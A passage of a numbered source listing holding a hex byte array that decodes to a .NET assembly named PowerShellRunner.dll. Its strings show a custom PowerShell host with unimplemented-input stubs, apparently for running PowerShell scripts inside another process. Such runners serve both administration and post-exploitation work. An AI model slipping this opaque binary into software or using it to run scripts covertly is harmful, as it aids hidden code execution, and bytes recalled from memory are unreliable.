0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00,0x65, 796 | 0x00,0x20,0x00,0x77,0x00,0x69,0x00,0x74,0x00,0x68,0x00,0x6F, 797 | 0x00,0x75,0x00,0x74,0x00,0x20,0x00,0x70,0x00,0x72,0x00,0x6F, 798 | 0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6E,0x00,0x67, 799 | 0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x20,0x00,0x75, 800 | 0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x66,0x00,0x6F, 801 | 0x00,0x72,0x00,0x20,0x00,0x69,0x00,0x6E,0x00,0x70,0x00,0x75, 802 | 0x00,0x74,0x00,0x2E,0x00,0x01,0x81,0x81,0x52,0x00,0x65,0x00, 803 | 0x61,0x00,0x64,0x00,0x4C,0x00,0x69,0x00,0x6E,0x00,0x65,0x00, 804 | 0x41,0x00,0x73,0x00,0x53,0x00,0x65,0x00,0x63,0x00,0x75,0x00, 805 | 0x72,0x00,0x65,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00, 806 | 0x6E,0x00,0x67,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00, 807 | 0x6E,0x00,0x6F,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D,0x00, 808 | 0x70,0x00,0x6C,0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00, 809 | 0x74,0x00,0x65,0x00,0x64,0x00,0x2E,0x00,0x20,0x00,0x20,0x00, 810 | 0x54,0x00,0x68,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00, 811 | 0x72,0x00,0x69,0x00,0x70,0x00,0x74,0x00,0x20,0x00,0x69,0x00, 812 | 0x73,0x00,0x20,0x00,0x61,0x00,0x73,0x00,0x6B,0x00,0x69,0x00, 813 | 0x6E,0x00,0x67,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00, 814 | 0x20,0x00,0x69,0x00,0x6E,0x00,0x70,0x00,0x75,0x00,0x74,0x00, 815 | 0x2C,0x00,0x20,0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x63,0x00, 816 | 0x68,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x61,0x00, 817 | 0x20,0x00,0x70,0x00,0x72,0x00,0x6F,0x00,0x62,0x00,0x6C,0x00, 818 | 0x65,0x00,0x6D,0x00,0x20,0x00,0x73,0x00,0x69,0x00,0x6E,0x00, 819 | 0x63,0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00, 820 | 0x72,0x00,0x65,0x00,0x27,0x00,0x73,0x00,0x20,0x00,0x6E,0x00, 821 | 0x6F,0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x73,0x00, 822 | 0x6F,0x00,0x6C,0x00,0x65,0x00,0x2E,0x00,0x20,0x00,0x20,0x00, 823 | 0x4D,0x00,0x61,0x00,0x6B,0x00,0x65,0x00,0x20,0x00,0x73,0x00, 824 | 0x75,0x00,0x72,0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00, 825 | 0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00, 826 | 0x70,0x00,0x74,0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x6E,0x00, 827 | 0x20,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00, 828 | 0x74,0x00,0x65,0x00,0x20,0x00,0x77,0x00,0x69,0x00,0x74,0x00, 829 | 0x68,0x00,0x6F,0x00,0x75,0x00,0x74,0x00,0x20,0x00,0x70,0x00, 830 | 0x72,0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x69,0x00, 831 | 0x6E,0x00,0x67,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00, 832 | 0x20,0x00,0x75,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x20,0x00, 833 | 0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x69,0x00,0x6E,0x00, 834 | 0x70,0x00,0x75,0x00,0x74,0x00,0x2E,0x00,0x01,0x49,0x46,0x00, 835 | 0x6C,0x00,0x75,0x00,0x73,0x00,0x68,0x00,0x49,0x00,0x6E,0x00, 836 | 0x70,0x00,0x75,0x00,0x74,0x00,0x42,0x00,0x75,0x00,0x66,0x00, 837 | 0x66,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x69,0x00,0x73,0x00, 838 | 0x20,0x00,0x6E,0x00,0x6F,0x00,0x74,0x00,0x20,0x00,0x69,0x00, 839 | 0x6D,0x00,0x70,0x00,0x6C,0x00,0x65,0x00,0x6D,0x00,0x65,0x00, 840 | 0x6E,0x00,0x74,0x00,0x65,0x00,0x64,0x00,0x2E,0x00,0x00,0x4B, 841 | 0x47,0x00,0x65,0x00,0x74,0x00,0x42,0x00,0x75,0x00,0x66,0x00, 842 | 0x66,0x00,0x65,0x00,0x72,0x00,0x43,0x00,0x6F,0x00,0x6E,0x00, 843 | 0x74,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x73,0x00,0x20,0x00, 844 | 0x69,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F,0x00,0x74,0x00, 845 | 0x20,0x00,0x69,0x00,0x6D,0x00,0x70,0x00,0x6C,0x00,0x65,0x00, 846 | 0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x65,0x00,0x64,0x00, 847 | 0x2E,0x00,0x00,0x41,0x4B,0x00,0x65,0x00,0x79,0x00,0x41,0x00, 848 | 0x76,0x00,0x61,0x00,0x69,0x00,0x6C,0x00,0x61,0x00,0x62,0x00, 849 | 0x6C,0x00,0x65,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00, 850 | 0x6E,0x00,0x6F,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D,0x00, 851 | 0x70,0x00,0x6C,0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00, 852 | 0x74,0x00,0x65,0x00,0x64,0x00,0x2E,0x00,0x00,0x81,0x63,0x52, 853 | 0x00,0x65,0x00,0x61,0x00,0x64,0x00,0x4B,0x00,0x65,0x00,0x79, 854 | 0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F, 855 | 0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D,0x00,0x70,0x00,0x6C, 856 | 0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x65, 857 | 0x00,0x64,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x54,0x00,0x68, 858 | 0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69, 859 | 0x00,0x70,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20, 860 | 0x00,0x61,0x00,0x73,0x00,0x6B,0x00,0x69,0x00,0x6E,0x00,0x67, 861 | 0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x69, 862 | 0x00,0x6E,0x00,0x70,0x00,0x75,0x00,0x74,0x00,0x2C,0x00,0x20, 863 | 0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x63,0x00,0x68,0x00,0x20, 864 | 0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x61,0x00,0x20,0x00,0x70, 865 | 0x00,0x72,0x00,0x6F,0x00,0x62,0x00,0x6C,0x00,0x65,0x00,0x6D, 866 | 0x00,0x20,0x00,0x73,0x00,0x69,0x00,0x6E,0x00,0x63,0x00,0x65, 867 | 0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x72,0x00,0x65, 868 | 0x00,0x27,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F,0x00,0x20, 869 | 0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x73,0x00,0x6F,0x00,0x6C, 870 | 0x00,0x65,0x00,0x2E,0x00,0x20,0x00,0x20,0x00,0x4D,0x00,0x61, 871 | 0x00,0x6B,0x00,0x65,0x00,0x20,0x00,0x73,0x00,0x75,0x00,0x72, 872 | 0x00,0x65,0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x20, 873 | 0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00,0x70,0x00,0x74, 874 | 0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x6E,0x00,0x20,0x00,0x65, 875 | 0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00,0x65, 876 | 0x00,0x20,0x00,0x77,0x00,0x69,0x00,0x74,0x00,0x68,0x00,0x6F, 877 | 0x00,0x75,0x00,0x74,0x00,0x20,0x00,0x70,0x00,0x72,0x00,0x6F, 878 | 0x00,0x6D,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6E,0x00,0x67, 879 | 0x00,0x20,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x20,0x00,0x75, 880 | 0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x66,0x00,0x6F, 881 | 0x00,0x72,0x00,0x20,0x00,0x69,0x00,0x6E,0x00,0x70,0x00,0x75, 882 | 0x00,0x74,0x00,0x2E,0x00,0x01,0x4F,0x53,0x00,0x63,0x00,0x72, 883 | 0x00,0x6F,0x00,0x6C,0x00,0x6C,0x00,0x42,0x00,0x75,0x00,0x66, 884 | 0x00,0x66,0x00,0x65,0x00,0x72,0x00,0x43,0x00,0x6F,0x00,0x6E, 885 | 0x00,0x74,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x73,0x00,0x20, 886 | 0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F,0x00,0x74, 887 | 0x00,0x20,0x00,0x69,0x00,0x6D,0x00,0x70,0x00,0x6C,0x00,0x65, 888 | 0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x65,0x00,0x64, 889 | 0x00,0x00,0x4B,0x53,0x00,0x65,0x00,0x74,0x00,0x42,0x00,0x75, 890 | 0x00,0x66,0x00,0x66,0x00,0x65,0x00,0x72,0x00,0x43,0x00,0x6F, 891 | 0x00,0x6E,0x00,0x74,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x73, 892 | 0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20,0x00,0x6E,0x00,0x6F, 893 | 0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D,0x00,0x70,0x00,0x6C, 894 | 0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x65, 895 | 0x00,0x64,0x00,0x2E,0x00,0x00,0x49,0x53,0x00,0x65,0x00,0x74, 896 | 0x00,0x42,0x00,0x75,0x00,0x66,0x00,0x66,0x00,0x65,0x00,0x72, 897 | 0x00,0x43,0x00,0x6F,0x00,0x6E,0x00,0x74,0x00,0x65,0x00,0x6E, 898 | 0x00,0x74,0x00,0x73,0x00,0x20,0x00,0x69,0x00,0x73,0x00,0x20, 899 | 0x00,0x6E,0x00,0x6F,0x00,0x74,0x00,0x20,0x00,0x69,0x00,0x6D, 900 | 0x00,0x70,0x00,0x6C,0x00,0x65,0x00,0x6D,0x00,0x65,0x00,0x6E, 901 | 0x00,0x74,0x00,0x65,0x00,0x64,0x00,0x00,0x01,0x00,0x00,0x00, 902 | 0xCC,0x3A,0x32,0xF8,0xB1,0xFA,0x7F,0x44,0xAA,0x21,0x69,0xF4, 903 | 0xEE,0xE7,0x5D,0x3E,0x00,0x04,0x20,0x01,0x01,0x08,0x03,0x20, 904 | 0x00,0x01,0x05,0x20,0x01,0x01,0x11,0x11,0x04,0x20,0x01,0x01, 905 | 0x0E,0x04,0x20,0x01,0x01,0x02,0x0A,0x07,0x04,0x12,0x0C,0x12, 906 | 0x41,0x12,0x45,0x12,0x49,0x04,0x00,0x00,0x12,0x41,0x06,0x20, 907 | 0x01,0x01,0x11,0x80,0xAD,0x06,0x20,0x01,0x01,0x12,0x80,0xB1, 908 | 0x08,0x00,0x02,0x12,0x45,0x12,0x4D,0x12,0x41,0x04,0x20,0x00, 909 | 0x12,0x49,0x05,0x20,0x00,0x12,0x80,0xB9,0x07,0x15,0x12,0x75, 910 | 0x01,0x12,0x80,0xBD,0x05,0x20,0x01,0x13,0x00,0x08,0x09,0x20, 911 | 0x02,0x01,0x11,0x80,0xC1,0x11,0x80,0xC1,0x08,0x20,0x00,0x15, 912 | 0x12,0x75,0x01,0x12,0x71,0x04,0x20,0x00,0x12,0x59,0x05,0x20, 913 | 0x02,0x01,0x08,0x08,0x05,0x00,0x00,0x12,0x80,0xC9,0x04,0x20, 914 | 0x00,0x12,0x5D,0x04,0x00,0x00,0x11,0x51,0x05,0x20,0x01,0x12, 915 | 0x61,0x0E,0x05,0x00,0x02,0x0E,0x0E,0x0E,0x03,0x20,0x00,0x0E, 916 | 0x08,0x07,0x02,0x11,0x80,0x95,0x11,0x80,0x99,0x08,0xB7,0x7A, 917 | 0x5C,0x56,0x19,0x34,0xE0,0x89,0x08,0x31,0xBF,0x38,0x56,0xAD, 918 | 0x36,0x4E,0x35,0x03,0x06,0x11,0x51,0x03,0x06,0x12,0x10,0x03, 919 | 0x06,0x12,0x61,0x03,0x06,0x12,0x14,0x04,0x06,0x11,0x80,0x95, 920 | 0x04,0x06,0x11,0x80,0x99,0x02,0x06,0x08,0x03,0x06,0x11,0x65, 921 | 0x02,0x06,0x0E,0x04,0x00,0x01,0x0E,0x0E,0x04,0x20,0x00,0x11, 922 | 0x51,0x04,0x20,0x00,0x12,0x55,0x08,0x20,0x03,0x01,0x11,0x65, 923 | 0x11,0x65,0x0E,0x06,0x20,0x02,0x01,0x0A,0x12,0x69,0x11,0x20, 924 | 0x03,0x15,0x12,0x6D,0x02,0x0E,0x12,0x71,0x0E,0x0E,0x15,0x12, 925 | 0x75,0x01,0x12,0x79,0x0C,0x20,0x04,0x08,0x0E,0x0E,0x15,0x12, 926 | 0x75,0x01,0x12,0x7D,0x08,0x0F,0x20,0x06,0x12,0x80,0x81,0x0E, 927 | 0x0E,0x0E,0x0E,0x11,0x80,0x85,0x11,0x80,0x89,0x09,0x20,0x04, 928 | 0x12,0x80,0x81,0x0E,0x0E,0x0E,0x0E,0x05,0x20,0x00,0x12,0x80, 929 | 0x8D,0x05,0x20,0x00,0x12,0x80,0x91,0x04,0x20,0x00,0x11,0x65, 930 | 0x05,0x20,0x01,0x01,0x11,0x65,0x05,0x20,0x00,0x11,0x80,0x95, 931 | 0x06,0x20,0x01,0x01,0x11,0x80,0x95,0x05,0x20,0x00,0x11,0x80, 932 | 0x99,0x06,0x20,0x01,0x01,0x11,0x80,0x99,0x03,0x20,0x00,0x08, 933 | 0x0E,0x20,0x01,0x14,0x11,0x80,0x9D,0x02,0x00,0x02,0x00,0x00, 934 | 0x11,0x80,0xA1,0x03,0x20,0x00,0x02,0x08,0x20,0x01,0x11,0x80, 935 | 0xA5,0x11,0x80,0xA9,0x0F,0x20,0x04,0x01,0x11,0x80,0xA1,0x11, 936 | 0x80,0x99,0x11,0x80,0xA1,0x11,0x80,0x9D,0x09,0x20,0x02,0x01, 937 | 0x11,0x80,0xA1,0x11,0x80,0x9D,0x0F,0x20,0x02,0x01,0x11,0x80, 938 | 0x99,0x14,0x11,0x80,0x9D,0x02,0x00,0x02,0x00,0x00,0x04,0x28, 939 | 0x00,0x11,0x51,0x03,0x28,0x00,0x0E,0x04,0x28,0x00,0x12,0x55, 940 | 0x04,0x28,0x00,0x12,0x59,0x04,0x28,0x00,0x12,0x5D,0x05,0x28, 941 | 0x00,0x12,0x80,0x8D,0x04,0x28,0x00,0x11,0x65,0x05,0x28,0x00, 942 | 0x11,0x80,0x95,0x05,0x28,0x00,0x11,0x80,0x99,0x03,0x28,0x00, 943 | 0x08,0x03,0x28,0x00,0x02,0x08,0x01,0x00,0x08,0x00,0x00,0x00, 944 | 0x00,0x00,0x1E,0x01,0x00,0x01,0x00,0x54,0x02,0x16,0x57,0x72, 945 | 0x61,0x70,0x4E,0x6F,0x6E,0x45,0x78,0x63,0x65,0x70,0x74,0x69, 946 | 0x6F,0x6E,0x54,0x68,0x72,0x6F,0x77,0x73,0x01,0x08,0x01,0x00, 947 | 0x02,0x00,0x00,0x00,0x00,0x00,0x15,0x01,0x00,0x10,0x50,0x6F, 948 | 0x77,0x65,0x72,0x53,0x68,0x65,0x6C,0x6C,0x52,0x75,0x6E,0x6E, 949 | 0x65,0x72,0x00,0x00,0x05,0x01,0x00,0x00,0x00,0x00,0x17,0x01, 950 | 0x00,0x12,0x43,0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x20, 951 | 0xC2,0xA9,0x20,0x20,0x32,0x30,0x31,0x34,0x00,0x00,0x29,0x01, 952 | 0x00,0x24,0x64,0x66,0x63,0x34,0x65,0x65,0x62,0x62,0x2D,0x37, 953 | 0x33,0x38,0x34,0x2D,0x34,0x64,0x62,0x35,0x2D,0x39,0x62,0x61, 954 | 0x64,0x2D,0x32,0x35,0x37,0x32,0x30,0x33,0x30,0x32,0x39,0x62, 955 | 0x64,0x39,0x00,0x00,0x0C,0x01,0x00,0x07,0x31,0x2E,0x30,0x2E, 956 | 0x30,0x2E,0x30,0x00,0x00,0x00,0x00,0x00,0xAC,0x4A,0x00,0x00, 957 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC6,0x4A,0x00,0x00, 958 | 0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 959 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 960 | 0xB8,0x4A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 961 | 0x00,0x00,0x5F,0x43,0x6F,0x72,0x44,0x6C,0x6C,0x4D,0x61,0x69, 962 | 0x6E,0x00,0x6D,0x73,0x63,0x6F,0x72,0x65,0x65,0x2E,0x64,0x6C, 963 | 0x6C,0x00,0x00,0x00,0x00,0x00,0xFF,0x25,0x00,0x20,0x00,0x10, 964 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 965 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 966 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 967 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 968 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 969 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 970 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 971 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 972 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 973 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 974 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 975 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 976 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 977 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 978 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 979 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 980 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 981 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 982 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 983 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 984 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 985 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 986 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 987 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 988 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 989 | 0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x10,0x00,0x00,0x00, 990 | 0x18,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 991 | 0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00, 992 | 0x30,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 993 | 0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00, 994 | 0x48,0x00,0x00,0x00,0x58,0x60,0x00,0x00,0x5C,0x03,0x00,0x00, 995 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5C,0x03,0x34,0x00, 996 | 0x00,0x00,0x56,0x00,0x53,0x00,0x5F,0x00,0x56,0x00,0x45,0x00, 997 | 0x52,0x00,0x53,0x00,0x49,0x00,0x4F,0x00,0x4E,0x00,0x5F,0x00, 998 | 0x49,0x00,0x4E,0x00,0x46,0x00,0x4F,0x00,0x00,0x00,0x00,0x00, 999 | 0xBD,0x04,0xEF,0xFE,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00, 1000 | 0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00, 1001 | 0x3F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00, 1002 | 0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1003 | 0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x01,0x00,0x56,0x00, 1004 | 0x61,0x00,0x72,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00, 1005 | 0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x00,0x00,0x00,0x00, 1006 | 0x24,0x00,0x04,0x00,0x00,0x00,0x54,0x00,0x72,0x00,0x61,0x00, 1007 | 0x6E,0x00,0x73,0x00,0x6C,0x00,0x61,0x00,0x74,0x00,0x69,0x00, 1008 | 0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x04, 1009 | 0xBC,0x02,0x00,0x00,0x01,0x00,0x53,0x00,0x74,0x00,0x72,0x00, 1010 | 0x69,0x00,0x6E,0x00,0x67,0x00,0x46,0x00,0x69,0x00,0x6C,0x00, 1011 | 0x65,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x00,0x00, 1012 | 0x98,0x02,0x00,0x00,0x01,0x00,0x30,0x00,0x30,0x00,0x30,0x00, 1013 | 0x30,0x00,0x30,0x00,0x34,0x00,0x62,0x00,0x30,0x00,0x00,0x00, 1014 | 0x1A,0x00,0x01,0x00,0x01,0x00,0x43,0x00,0x6F,0x00,0x6D,0x00, 1015 | 0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x73,0x00,0x00,0x00, 1016 | 0x00,0x00,0x00,0x00,0x22,0x00,0x01,0x00,0x01,0x00,0x43,0x00, 1017 | 0x6F,0x00,0x6D,0x00,0x70,0x00,0x61,0x00,0x6E,0x00,0x79,0x00, 1018 | 0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x00,0x00, 1019 | 0x00,0x00,0x00,0x00,0x4A,0x00,0x11,0x00,0x01,0x00,0x46,0x00, 1020 | 0x69,0x00,0x6C,0x00,0x65,0x00,0x44,0x00,0x65,0x00,0x73,0x00, 1021 | 0x63,0x00,0x72,0x00,0x69,0x00,0x70,0x00,0x74,0x00,0x69,0x00, 1022 | 0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x6F,0x00, 1023 | 0x77,0x00,0x65,0x00,0x72,0x00,0x53,0x00,0x68,0x00,0x65,0x00, 1024 | 0x6C,0x00,0x6C,0x00,0x52,0x00,0x75,0x00,0x6E,0x00,0x6E,0x00, 1025 | 0x65,0x00,0x72,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x08,0x00, 1026 | 0x01,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x56,0x00, 1027 | 0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00, 1028 | 0x00,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00, 1029 | 0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0x4A,0x00,0x15,0x00, 1030 | 0x01,0x00,0x49,0x00,0x6E,0x00,0x74,0x00,0x65,0x00,0x72,0x00, 1031 | 0x6E,0x00,0x61,0x00,0x6C,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00, 1032 | 0x65,0x00,0x00,0x00,0x50,0x00,0x6F,0x00,0x77,0x00,0x65,0x00, 1033 | 0x72,0x00,0x53,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00, 1034 | 0x52,0x00,0x75,0x00,0x6E,0x00,0x6E,0x00,0x65,0x00,0x72,0x00, 1035 | 0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00, 1036 | 0x48,0x00,0x12,0x00,0x01,0x00,0x4C,0x00,0x65,0x00,0x67,0x00, 1037 | 0x61,0x00,0x6C,0x00,0x43,0x00,0x6F,0x00,0x70,0x00,0x79,0x00, 1038 | 0x72,0x00,0x69,0x00,0x67,0x00,0x68,0x00,0x74,0x00,0x00,0x00, 1039 | 0x43,0x00,0x6F,0x00,0x70,0x00,0x79,0x00,0x72,0x00,0x69,0x00, 1040 | 0x67,0x00,0x68,0x00,0x74,0x00,0x20,0x00,0xA9,0x00,0x20,0x00, 1041 | 0x20,0x00,0x32,0x00,0x30,0x00,0x31,0x00,0x34,0x00,0x00,0x00, 1042 | 0x2A,0x00,0x01,0x00,0x01,0x00,0x4C,0x00,0x65,0x00,0x67,0x00, 1043 | 0x61,0x00,0x6C,0x00,0x54,0x00,0x72,0x00,0x61,0x00,0x64,0x00, 1044 | 0x65,0x00,0x6D,0x00,0x61,0x00,0x72,0x00,0x6B,0x00,0x73,0x00, 1045 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x52,0x00,0x15,0x00, 1046 | 0x01,0x00,0x4F,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x69,0x00, 1047 | 0x6E,0x00,0x61,0x00,0x6C,0x00,0x46,0x00,0x69,0x00,0x6C,0x00, 1048 | 0x65,0x00,0x6E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00, 1049 | 0x50,0x00,0x6F,0x00,0x77,0x00,0x65,0x00,0x72,0x00,0x53,0x00, 1050 | 0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x52,0x00,0x75,0x00, 1051 | 0x6E,0x00,0x6E,0x00,0x65,0x00,0x72,0x00,0x2E,0x00,0x64,0x00, 1052 | 0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x42,0x00,0x11,0x00, 1053 | 0x01,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x64,0x00,0x75,0x00, 1054 | 0x63,0x00,0x74,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00, 1055 | 0x00,0x00,0x00,0x00,0x50,0x00,0x6F,0x00,0x77,0x00,0x65,0x00, 1056 | 0x72,0x00,0x53,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00, 1057 | 0x52,0x00,0x75,0x00,0x6E,0x00,0x6E,0x00,0x65,0x00,0x72,0x00, 1058 | 0x00,0x00,0x00,0x00,0x34,0x00,0x08,0x00,0x01,0x00,0x50,0x00, 1059 | 0x72,0x00,0x6F,0x00,0x64,0x00,0x75,0x00,0x63,0x00,0x74,0x00, 1060 | 0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00, 1061 | 0x6E,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00, 1062 | 0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0x38,0x00,0x08,0x00, 1063 | 0x01,0x00,0x41,0x00,0x73,0x00,0x73,0x00,0x65,0x00,0x6D,0x00, 1064 | 0x62,0x00,0x6C,0x00,0x79,0x00,0x20,0x00,0x56,0x00,0x65,0x00, 1065 | 0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00, 1066 | 0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00, 1067 | 0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1068 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1069 | 